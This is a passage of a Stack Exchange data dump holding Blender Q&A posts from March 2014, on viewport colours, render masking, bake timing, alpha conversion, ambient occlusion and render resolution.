LastEditDate="2017-05-30T21:18:13.077" LastActivityDate="2017-05-30T21:18:13.077" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7800" PostTypeId="2" ParentId="7792" CreationDate="2014-03-16T12:09:54.190" Score="7" Body="&lt;p&gt;Changing the Viewport color does indeed help when in Object Mode, but when you go into Edit mode, in order to make the mesh distinguishable from other objects not being edited, you can change the colors for the vertices, edges and faces: &lt;strong&gt;Preferences &gt; Themes &gt; 3D View &gt; Wire Edit&lt;/strong&gt; and &lt;strong&gt;Vertex&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is invaluable in being able to find the mesh being edited when there are lots of other objects around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4UElX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-03-16T12:09:54.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7802" PostTypeId="2" ParentId="7793" CreationDate="2014-03-16T14:26:11.193" Score="4" Body="&lt;p&gt;For this I would use a render layer with a mask layer set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the scene I have a plane that will act as a mask on layer 2 and the switch object to be masked on layer 1. When both layers are enabled it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solid View:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sAjdj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wire view, shows some of the switch object is below the mask object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vZcZY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 'Render Layers' tab of the 'Properties' area I have chosen the first layer to be the layer to render and the second layer to be the mask layer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/erjgt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which results in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d6MLR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine for the internal renderer but for Cycles one additional option is necessary in the 'Render' tab in the 'Properties' area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FrHXE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-03-16T14:26:11.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7803" PostTypeId="2" ParentId="7779" CreationDate="2014-03-16T14:49:27.930" Score="2" Body="&lt;h2&gt;Issue 1:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;CollectionProperty is the only option if you want the properties to be serialized to your .blend by Blender and displayed in a &lt;code&gt;template_list()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use a variable amount of ID properties, but they are limited to primitive types with no support of subtypes, descriptions, nesting etc. You can't really use them for &lt;code&gt;template_list()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can store everything to user dir or elsewhere with your own code, if you don't need it to be stored in the .blend. Or store to an ID textblock embedded in your .blend, but with the risk of users unlinking or editing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: What do you mean by primitive / different datatypes? What do your PropertyGroup subclasses represent, and what properties do they have? And what is your addon supposed to do? It looks like you want the user to create mesh geometry within the panel, why?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Issue 2:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You &lt;strong&gt;shouldn't&lt;/strong&gt; display everything in a single list if the data is very different. As you said, there could be a fake list generated from several CollectionProperty lists, which actually store the different kinds of data. Keeping the references (by index?) intact seems challanging, if you want to let the user change order of list items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couldn't you use a single PropertyGroup class and store all properties of all your types in here? You would leave certain properties out if the data type doesn't use it, it shouldn't cost much space (if at all). An EnumProperty would indicate what type the current collection item is. It also determines how the &lt;code&gt;template_list&lt;/code&gt; is to be drawn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can go without a &lt;code&gt;template_list&lt;/code&gt;, it would make things much easier. You would iterate over all CollectionProperty lists and draw UI elements for each item, with almost unlimited freedom of visual appearance (but no scrollable list).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-16T14:49:27.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7804" PostTypeId="2" ParentId="7793" CreationDate="2014-03-16T15:09:02.367" Score="3" Body="&lt;p&gt;A simple way to do this using Blender Render is to set the plane that will cut the other object to use a mask transparency with 0% alpha. You probably want this to be another plane to the one showing the dropshadow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 3dview you have a plane cutting through the switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZzhAc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plane material uses mask transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yV1hq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When rendered you only see the switch visible above the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7GOsD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-16T15:09:02.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7805" PostTypeId="2" ParentId="7775" CreationDate="2014-03-16T15:40:15.133" Score="2" Body="&lt;p&gt;I don't know of any bake times being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To work out the bake time of a simulation that you have already baked, look in the cache folder and compare the earliest modified date to the latest modified date, the difference is how long it took to bake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It isn't hard to setup a timer yourself. Rather than start the bake by pressing the bake button, you use a simple script that runs the bake operator and has timing around it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import time&#xA;&#xA;startTime = time.process_time()&#xA;bpy.ops.fluid.bake()&#xA;timeToBake = time.process_time() - startTime&#xA;&#xA;print(&quot;Time to bake the fluid sim was&quot;,timeToBake,&quot;seconds&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will print the time to the console - that is the terminal you started blender in. Alternatively you can paste the above code into blenders python console to see the result there when it is finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also use wallclock timing with something like --&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(&quot;Start - &quot;,time.strftime(&quot;%Y-%m-%d %H:%M:%S&quot;))&#xA;print(&quot;End   - &quot;,time.strftime(&quot;%Y-%m-%d %H:%M:%S&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;around the fluid.bake&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-16T15:40:15.133" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7806" PostTypeId="1" AcceptedAnswerId="7809" CreationDate="2014-03-16T16:00:57.007" Score="3" ViewCount="2382" Body="&lt;p&gt;Blender 2.7 is going to support sewing. It makes sense to be able to unwrap an object (clothes) in to a 2d pattern, orientate the 2d panels around the body and then 'sew' it back together to simulate how the pattern fits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it currently possible to convert a UV map in to a mesh?&lt;/p&gt;&#xA;" OwnerUserId="1849" LastEditorUserId="5426" LastEditDate="2015-12-14T00:24:37.537" LastActivityDate="2015-12-14T00:24:37.537" Title="How can I convert a UV map into a mesh?" Tags="&lt;mesh&gt;&lt;uv&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7808" PostTypeId="1" CreationDate="2014-03-16T17:07:14.643" Score="1" ViewCount="695" Body="&lt;p&gt;I have a character that has a walk animation. I assigned a steering actuator to it specifically path following so that they will all meet in a specific place by themselves. I also have a shake animation for my building/plane. I've already set sensors and actuators to it too. If I run it and press enter, the building/plane starts to shake something like that in an earthquake. The thing I would like to do next is when I run it, my characters should only start to move towards their target if the plane starts to shake (that is if enter key is pressed). If no shaking, the characters should just walk in their place. They should only move if shaking occurs. I've been playing around with sensors and actuators but I can't seem to find a solution for this. What do you think could be the best approach for this problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my blend file: &lt;a href=&quot;https://drive.google.com/file/d/0BwcsNFrXW6LrdU5HcnJCQ3NWTjg/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;canteen ver 2.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2805" LastEditorUserId="5426" LastEditDate="2015-12-14T00:23:22.520" LastActivityDate="2015-12-14T00:23:22.520" Title="How to use actuator as sensor to play animation of my character?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7809" PostTypeId="2" ParentId="7806" CreationDate="2014-03-16T18:58:15.373" Score="3" Body="&lt;p&gt;Currently there aren't tools to do this right at the moment, but this is a fairly simple operation. Internally the exporting UV's layout to PNG does this. its just hidden from the user and the mesh is removed immediately afterwards.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-03-16T18:58:15.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7810" PostTypeId="1" AcceptedAnswerId="7813" CreationDate="2014-03-16T19:41:04.347" Score="8" ViewCount="1575" Body="&lt;p&gt;What is the Alpha Convert node used for? I've never seen any tutorials on it. Also, if there are several good uses for it, examples would be great!&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2019-01-20T01:23:52.710" Title="What is the Alpha Convert node used for?" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7811" PostTypeId="2" ParentId="7793" CreationDate="2014-03-16T19:42:59.543" Score="2" Body="&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For cycles you can use a &lt;em&gt;Holdout&lt;/em&gt; shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X3sJY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you must have &lt;em&gt;Transparent&lt;/em&gt; enabled in &lt;em&gt;Rendering &gt; Film&lt;/em&gt; for the holdout shader to render as transparency, otherwise it will be black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent the plane from influencing the lighting casting a shadow, you can either use a node setup like this to disable shadows/indirect lighting for the material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ctpH6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or change the settings in &lt;em&gt;Properties &gt; Object &gt; Ray visibility&lt;/em&gt; to disable shadows etc. per object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R1O4D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Modifiers&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can also use a boolean modifier to actually remove the geometry below the plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/78sqT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-03-16T20:18:13.007" LastActivityDate="2014-03-16T20:18:13.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7812" PostTypeId="1" CreationDate="2014-03-16T19:44:43.993" Score="2" ViewCount="1574" Body="&lt;p&gt;What I'm trying to achieve is a TV type of display with a live feed from a camera in the game. How to display what the camera sees as a texture?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="599" LastEditDate="2014-03-16T21:49:32.287" LastActivityDate="2014-10-05T20:52:25.940" Title="Live display of a camera output in the game engine?" Tags="&lt;materials&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7813" PostTypeId="2" ParentId="7810" CreationDate="2014-03-16T19:54:10.690" Score="10" Body="&lt;p&gt;It's used for manually converting between &lt;em&gt;Straight&lt;/em&gt; and &lt;em&gt;Premultiplied&lt;/em&gt; alpha.&#xA;This is sometimes needed when using external images in compositing, among other uses.&lt;/p&gt;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/glossary/index.html#term-alpha-channel&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Straight Alpha&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the alpha type used by paint programs such as Photoshop or&#xA;Gimp, and used in common file formats like PNG, BMP or Targa. So,&#xA;image textures or output for the web are usually straight alpha. RGBA&#xA;color are stored as (R, G, B, A) channels, with the RGB channels&#xA;unaffected by the alpha channels.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Premultiplied Alpha&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Rendering will output premultiplied alpha images, and the OpenEXR file&#xA;format uses this alpha type. So, intermediate files for rendering and&#xA;compositing are often stored as premultiplied alpha. Compared to&#xA;straight alpha, the colors could be considered to be stored as (R*A,&#xA;G*A, B*A, A), with the alpha multiplied into the RGB channel.&lt;/p&gt;&#xA;&lt;p&gt;This is the natural output of render engines, with the RGB channels&#xA;representing the amount of light that comes toward the viewer, and&#xA;alpha representing how much of the light from the background is&#xA;blocked.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Conversion&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Conversion between the two alpha types is not a simple operation and&#xA;can involve data loss, as both alpha types can represent data that the&#xA;other can not, though it is often subtle.&lt;/p&gt;&#xA;&lt;p&gt;Straight alpha can be considered to be an RGB color image with a&#xA;separate alpha mask. In areas where this mask is fully transparent,&#xA;there can still be colors in the RGB channels. On conversion to&#xA;premultiplied alpha this mask is 'applied' and the colors in such&#xA;areas become black and are lost.&lt;/p&gt;&#xA;&lt;p&gt;Premultiplied alpha on the other hand can represent renders that are&#xA;both emitting light and letting through light from the background. For&#xA;example a transparent fire render might be emitting light, but also&#xA;letting through all light from objects behind it. On converting to&#xA;straight alpha this effect is lost.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-01-20T01:23:52.710" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="7814" PostTypeId="1" AcceptedAnswerId="7815" CreationDate="2014-03-16T21:25:26.397" Score="2" ViewCount="1031" Body="&lt;p&gt;I have been using blender for about a year now and have only just started to notice that all my pictures are actually not that HD. If you zoom in on a render just once, you can see each individual pixel colour. I don't know if this this is a big or if it is something I can do or even if this happens to everyone.&#xA;Please help as its really bugging me now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a render that is a bit pixelated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save the picture and open it in fullscreen and zoom in just a bit.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KdhW7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2809" LastEditorUserId="12" LastEditDate="2014-03-16T23:40:14.767" LastActivityDate="2014-03-16T23:40:14.767" Title="Renders get pixelated when viewed up close" Tags="&lt;rendering&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-16T21:47:35.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="7815" PostTypeId="2" ParentId="7814" CreationDate="2014-03-16T21:41:19.103" Score="3" Body="&lt;p&gt;The image you uploaded has the dimensions of &lt;code&gt;960 x 540&lt;/code&gt;. This is half HD. Most likely the problem is that your render scale is set to 50%. This means that the actual render size will be 50% of the specified render size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the problem. Set the scale to 100%, than your renders will actually be full HD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qv5o0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-16T21:59:40.727" LastActivityDate="2014-03-16T21:59:40.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7816" PostTypeId="1" AcceptedAnswerId="7817" CreationDate="2014-03-17T00:22:56.140" Score="26" ViewCount="16721" Body="&lt;p&gt;What is Ambient Occlusion and what are some of it's uses? I see it is used in creating what might be called &quot;shadow catchers&quot; in the following node tree setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bvB4R.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="241" LastEditDate="2020-05-27T13:29:50.727" LastActivityDate="2020-10-27T18:21:30.500" Title="What is Ambient Occlusion?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;ambient-occlusion&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7817" PostTypeId="2" ParentId="7816" CreationDate="2014-03-17T00:38:07.043" Score="23" Body="&lt;p&gt;&lt;a href=&quot;https://docs.arnoldrenderer.com/display/A5AFMUG/Ambient+Occlusion&quot; rel=&quot;nofollow noreferrer&quot;&gt;Per definition&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Ambient occlusion is an approximation of global illumination that&#xA;emulates the complex interactions between the diffuse&#xA;inter-reflections of objects. While not physically accurate (for that&#xA;use full global illumination)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What is it?:&lt;/p&gt;&#xA;&lt;p&gt;It is a way to make objects in a scene look more realistic. Ambient occlusion casts shadows where objects are close to each other. Note that it will also cast light where they are not. &lt;strong&gt;Ambient Occlusion is a fake light&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dBomW.png&quot; alt=&quot;enter image description here&quot; /&gt;  &lt;img src=&quot;https://i.stack.imgur.com/xpAel.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Note that in Cycles there is also an &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/input/ao.html#ambient-occlusion&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ambient Occlusion Shader&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The ambient occlusion node gives per-material control for the amount&#xA;of AO. When AO is enabled in the world, it affects all diffuse BSDFs&#xA;in the scene. With this option it's possible to let only some&#xA;materials be affected by AO, or to let it influence some materials&#xA;more or less than others.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t3uxS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ambient Occlusion enabled in the world panel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WzeBz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Ambient Occlusion can make a big difference especially in the Blender Internal Render Engine. In cycles enabling Ambient Occlusion does not make a big difference in terms of realism because Cycles is already rendering with Global Illumination, which is physically correct Ambient Occlusion. So in cycles there often is no need for it whereas in the Blender Internal render engine it is very useful.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eDFN3.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="15924" LastEditDate="2020-10-27T18:21:30.500" LastActivityDate="2020-10-27T18:21:30.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7818" PostTypeId="2" ParentId="7816" CreationDate="2014-03-17T00:53:30.817" Score="16" Body="&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Ambient_occlusion&quot; rel=&quot;noreferrer&quot;&gt;wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In computer graphics, ambient occlusion is used to represent how&#xA;exposed each point in a scene is to ambient lighting. So the enclosed&#xA;inside of a tube is typically more occluded (and hence darker) than&#xA;the exposed outer surfaces; and deeper inside the tube, the more&#xA;occluded (and darker) it becomes. The result is diffuse,&#xA;non-directional lighting throughout the scene, casting no clear&#xA;shadows, but with enclosed and sheltered areas darkened. In this way,&#xA;it attempts to approximate the way light radiates in real life,&#xA;especially off what are normally considered non-reflective surfaces.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Basically, the closer some geometry is to other geometry, the darker it is rendered. Angle also seems to have an effect; nearby surfaces facing towards each other will render darker than nearby perpendicular surfaces (look closely at the first and second spheres).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7vBA1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Uses&lt;/h2&gt;&#xA;&lt;p&gt;It's often baked into a texture. This is especially useful for game assets, as AO does not take light sources into account (only proximity and angle of nearby geometry), and so remains more consistent as the object (or objects around it) is/are moving.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0boVu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;It's also useful in rendering/compositing to help add a little more depth/contrast:&lt;/p&gt;&#xA;&lt;p&gt;Without AO:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kkRrQ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;With AO:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/npsVh.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-28T21:53:17.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7819" PostTypeId="1" AcceptedAnswerId="7823" CreationDate="2014-03-17T01:12:57.420" Score="2" ViewCount="176" Body="&lt;p&gt;What is the logic to having an axis labeled Z and also having Z refer to distance from the camera? It seems like an easy way to confuse people. Is this due to the conjunction of two different lexicons, one from geometry where they have a Z axis and one from photography?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="599" LastEditDate="2015-05-11T08:42:43.897" LastActivityDate="2015-05-11T08:42:43.897" Title="What is the logic to having an axis labeled Z and also having Z refer to distance from the camera?" Tags="&lt;camera&gt;&lt;coordinates&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7820" PostTypeId="2" ParentId="7819" CreationDate="2014-03-17T01:22:31.683" Score="1" Body="&lt;p&gt;In blender Z is up in world space. In the camera Z is also the distance from the camera. There are many cases where the Z axis are not the same and could potentially confuse you. In this image the object is upside down. In world space Z would be pointing up. In local space it is pointing down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SA0Pa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-17T01:22:31.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7821" PostTypeId="1" AcceptedAnswerId="7822" CreationDate="2014-03-17T01:24:32.880" Score="11" ViewCount="10918" Body="&lt;p&gt;For example, sometimes I accidentally switch to Material view for objects instead of Textured and since my computer is very slow, it takes WAY too long until I can do anything again. So, I'd like to be able to hit a key and have Blender stop trying to display Material view. &lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-03-17T01:35:17.487" Title="Is there a way to stop Blender from performing an action once started?" Tags="&lt;workflow&gt;" AnswerCount="1" CommentCount="11" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7822" PostTypeId="2" ParentId="7821" CreationDate="2014-03-17T01:35:17.487" Score="8" Body="&lt;p&gt;It depends, some actions you can stop, others you cannot. However you can always stop blender by closing it &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;F4&lt;/kbd&gt; or killing the process. Some things can be stopped in blender. If it is possible to stop an action you can do it with the &lt;kbd&gt;ESC&lt;/kbd&gt; key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Actions that cannot be stopped:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Changing shading style in the viewport, e.g changing to textured or materials can take some time if you have a lot of textures, there is no way to stop this&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Applying/Modifying modifiers, e.g when you accidently increase the numbers of arrays to 400 blender will take a long time to compute this depending on the complexity of the object. Same goes for other modifiers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Actions you can stop mid process:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Rendering, you can always abort a render at render time&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Baking textures, similar to render: e.g baking a normal map.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Baking fluids: Smoke and Liquid simulations can be canceled just like renders.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also cancel these actions with the GUI by clicking on the X:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l06qS.png&quot; alt=&quot;enter code here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-17T01:35:17.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7823" PostTypeId="2" ParentId="7819" CreationDate="2014-03-17T01:38:42.873" Score="2" Body="&lt;p&gt;Quoting from &lt;a href=&quot;https://blender.stackexchange.com/a/473/599&quot;&gt;iKlsR's answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blender &lt;a href=&quot;http://www.rab3d.com/tut_blen_started.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;uses&lt;/a&gt; the &lt;a href=&quot;http://en.wikipedia.org/wiki/Right-hand_rule&quot; rel=&quot;nofollow noreferrer&quot;&gt;right hand&lt;/a&gt; coordinate system with the Z axis pointing&#xA;  upwards. This is common with the coordinate systems used by most&#xA;  common 3D CAD packages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, it's also a standard to use Y up for images (with Z as depth).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help with getting used to it, you could try a couple things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Imagine you are looking at the image editor top down instead of from the side.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Think in terms of the camera's local coordinates (the local Z is always out the front)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-03-17T01:38:42.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
